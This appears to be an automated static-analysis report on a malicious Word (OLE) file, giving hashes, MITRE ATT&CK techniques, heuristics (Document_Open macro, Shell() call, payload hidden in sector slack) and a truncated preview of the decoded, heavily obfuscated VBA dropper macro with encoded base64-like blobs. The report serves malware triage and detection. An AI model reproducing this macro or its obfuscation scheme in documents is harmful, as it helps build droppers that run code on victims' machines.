Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bf7988baef2a1e4f…

MALICIOUS

Office (OLE)

164.0 KB Created: 2018-04-22 21:21:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: b37e106b248d9a3274e57a9e9d3fb908 SHA-1: cd7f7e31485d2d01c49853bebe3f3e44b890ecdc SHA-256: bf7988baef2a1e4f8253e3eb841e8d23a7bfceb93d9ea732c9b65aee8f186582
164 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a Microsoft Office document containing a VBA macro. The macro is triggered by the Document_Open event and utilizes the Shell() function, indicating an attempt to execute arbitrary code. The presence of a large encoded blob within the macro further suggests a downloader or dropper functionality. The specific functionality of the script is obfuscated, but the use of Shell() is a strong indicator of malicious intent.

Heuristics 6

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 167,936 bytes but its declared streams total only 26,932 bytes — 141,004 bytes (84%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 42946 bytes
SHA-256: 3a1bc99cd4d45ac89139e03a0ac35503fee5f485295ac933e2768e5c3e7059a9
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 16 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "COJFmcI"
Sub iIIrv(BAcHMK)
fcuwnd = CDbl(57171)
AUPsaH = Sgn(63598)
wOHmk = jGokzk
hqtlOW = 73234
IwziG = CStr(64906)
swVjUm = tFYGtt
End Sub
Function MwEBmTRDls()
On Error Resume Next
BhJhbW = CDbl(36625)
UXmjmc = Sgn(41584)
iTEDDv = jlHJj
pqprJt = 71118
Bodlqz = CStr(76462)
TWcGB = KAooF
FrYPYVU = JcuWK("pQBmAGQAMQA0ADMAYwA1AGYAYgA1ADgANQAzADQAZAAyADkAXS5aaAi", zjFhR - zjFhR + 2 + zjFhR - zjFhR, zjFhR - zjFhR + 47 + zjFhR - zjFhR)
cvTNn = CDbl(4905)
hwpdik = Sgn(91613)
ibRMwa = RkjZb
joDVoS = 7724
UPwnU = CStr(12708)
dttVFf = ZWbIsU
dCdrwB = CDbl(90792)
soaINE = Sgn(52291)
XkKFCw = UqYJat
GKwLXp = 52556
QrNPf = CStr(78892)
DuJmJ = DpCqiT
djPFFawoLIG = JcuWK("rCH5o,183,92,73,114,171,196) ) ) ) ) 51", jjNaBB - jjNaBB + 6 + jjNaBB - jjNaBB, jjNaBB - jjNaBB + 32 + jjNaBB - jjNaBB)
BZrUr = CDbl(9129)
QLCjlL = Sgn(3001)
TsmTu = mdAoj
DUtUt = 43568
UqzsY = CStr(51311)
rrsdA = fjVKEL
CfcNwZ = CDbl(51177)
Nvlin = Sgn(40993)
FQzrtj = iWXqX
DZAzkn = 79544
uwzJqr = CStr(6944)
qzYRBK = adhzhw
XuwRoiwWLk = JcuWK("CAMAAzAGUAYwAwAGEAMwA1ADkAMAA3ADkAOAA5AGYANwA0ADMANgBkAGMAYgA1ADEAOABjAGQAOAA1ADYAMQALopWu", wPwrf - wPwrf + 2 + wPwrf - wPwrf, wPwrf - wPwrf + 84 + wPwrf - wPwrf)
pGBhL = CDbl(77169)
lwzfFL = Sgn(34209)
iCsRHj = SGrtd
VCqIt = 77974
tHJfP = CStr(61141)
BYlvw = avfEPp
MTifF = CDbl(70727)
irQvKn = Sgn(51385)
towiri = TCSHNt
vLjPS = 63835
hqkni = CStr(2138)
rXrZw = Ecohn
ZbDvNLSE = JcuWK("z6OQBkADMAMAAxADMAZQBmADgAZgAxADAAZAA4ADYANQBiADAAMwAwADYAOAA5ADQAOAA5ADkAZgBmADEAMgA3AGMAYQA2ADIAZABmAGMAMQAzAGQAMgAwADgAMAAzADUANgAxADgAOQA3AGEEJu5b", RoupS - RoupS + 3 + RoupS - RoupS, RoupS - RoupS + 143 + RoupS - RoupS)
jzbNz = CDbl(44051)
NvFOu = Sgn(40758)
lLzNvN = LcfahP
MSWwcs = 94847
FdmQd = CStr(75356)
lIzEE = sfamZ
zACYhc = CDbl(91012)
MBsCm = Sgn(64816)
NMDBNp = Alqrh
lUqjqs = 21537
sdANsz = CStr(3492)
iwIvUI = Ewbpj
TVHnXiCELt = JcuWK("jZgAxAGQAZQA2ADAAMwAxADQs3nwnU", YWvmQH - YWvmQH + 2 + YWvmQH - YWvmQH, YWvmQH - YWvmQH + 23 + YWvmQH - YWvmQH)
Rhqvz = CDbl(39914)
KLMuWz = Sgn(39127)
CoVsPZ = uilbc
liOCi = 71967
vKRtcJ = CStr(30654)
jOZWo = BKGzRb
waldXA = CDbl(83968)
hQHCji = Sgn(4328)
ziBITJ = WYBiz
DoUZL = 1141
TKPfK = CStr(63541)
YJEzwQ = aPdlZ
BqmQwabOI = JcuWK("WDAAMQAzAGIAMAA1ADQANwA3AGIANQBmADQAYQBmAGEAYgA3ADQAZAAyAGUANgA4ADUAZgBkAGUANwA2AGUANQA0ADIAMQAxAGMANAAxAGYAZQAwADIAZABkADkANgAxAGMAOAnqFBdpn", mHKXs - mHKXs + 2 + mHKXs - mHKXs, mHKXs - mHKXs + 133 + mHKXs - mHKXs)
GPFVRr = CDbl(45614)
cncUio = Sgn(32169)
SVzmMw = TBjjI
YrnlNH = 8178
uNSJT = CStr(92228)
biUbz = wHnmbJ
rpEora = CDbl(58737)
LpEPN = Sgn(94364)
YNbtb = oaFBt
VHnfjZ = 52667
vauTnS = CStr(31090)
tXtDJ = mwznb
SsSvqGGQ = JcuWK("SsvTtZADkANwA0AGIANABhAGYAOQA0ADAAZQAwADEAMQBkADIAMwAxADMAMAA2ADEAYgAyADUAMABmAGYANwBiAGQAZABjADgADjj", lTiHP - lTiHP + 7 + lTiHP - lTiHP, lTiHP - lTiHP + 92 + lTiHP - lTiHP)
COwmz = CDbl(75910)
FXJXp = Sgn(73434)
QwTHFI = fhiIp
GUohsw = 24648
jbHVzJ = CStr(21067)
kzDRKw = fqiTIW
PpmhLr = CDbl(93259)
bCdzL = Sgn(43164)
XwBXbd = jjMcs
vUiEcB = 77264
znAiiV = CStr(70777)
uPjwPR = qImPL
ZOSJvifV = JcuWK("I4VDEAZAA4ADYAYQA1ADgANwAyAGQANABhAGEAZQAxAGIANgA2ADcAMABkADEAYgBjADcANgBkAGIAMgBlADcAYgBjAA0B", QiHJCk - QiHJCk + 4 + QiHJCk - QiHJCk, QiHJCk - QiHJCk + 88 + QiHJCk - QiHJCk)
GVjwM = CDbl(37598)
TZWKi = Sgn(85285)
KAtsI = Cmwvu
iFswq = 72406
irSRfW = CStr(3808)
NUtWQX = EpOtHs
qbUnio = CDbl(95343)
achNWX = Sgn(31235)
jLaOw = CoWwMA
iIoKb = 60655
FHWMaP = CStr(15887)
oZnbp = JhooiL
ZCCjdcJ = JcuWK("8%C8oYoyADIAOQA1AGUANQA5AGMAYQA5ADYAMgBiAGIANQA3ADQAMgBkAGIANwAwAGEAZAA0ADUANwB80", TZnEs - TZnEs + 8 + TZnEs - TZnEs, TZnEs - TZnEs + 72 + TZnEs - TZnEs)
fRjbz = CDbl(32430)
TsCuri = Sgn(92139)
oNojWk = wKkLi
aAWzT = 24513
pqkcwM = CStr(97528)
XsjKoh = azzpof
kzVVYS = CDbl(8272)
Qzujh = Sgn(96411)
zsdSQ = uIWXN
AiYtYr = 51425
uYFsK = CStr(57667)
EXlSA = XHiOU
btjzulRwQY = JcuWK("7P8u@QtA3ADAANwBjADAAZAAyAGQAYQBiAGMAZABiADcAZAA2ADIAYwA0ADQAYwBlAGUANgAwAGMANAAxAGMAMgA3ADAAMAAzADQAMwBlAGYA
... (truncated)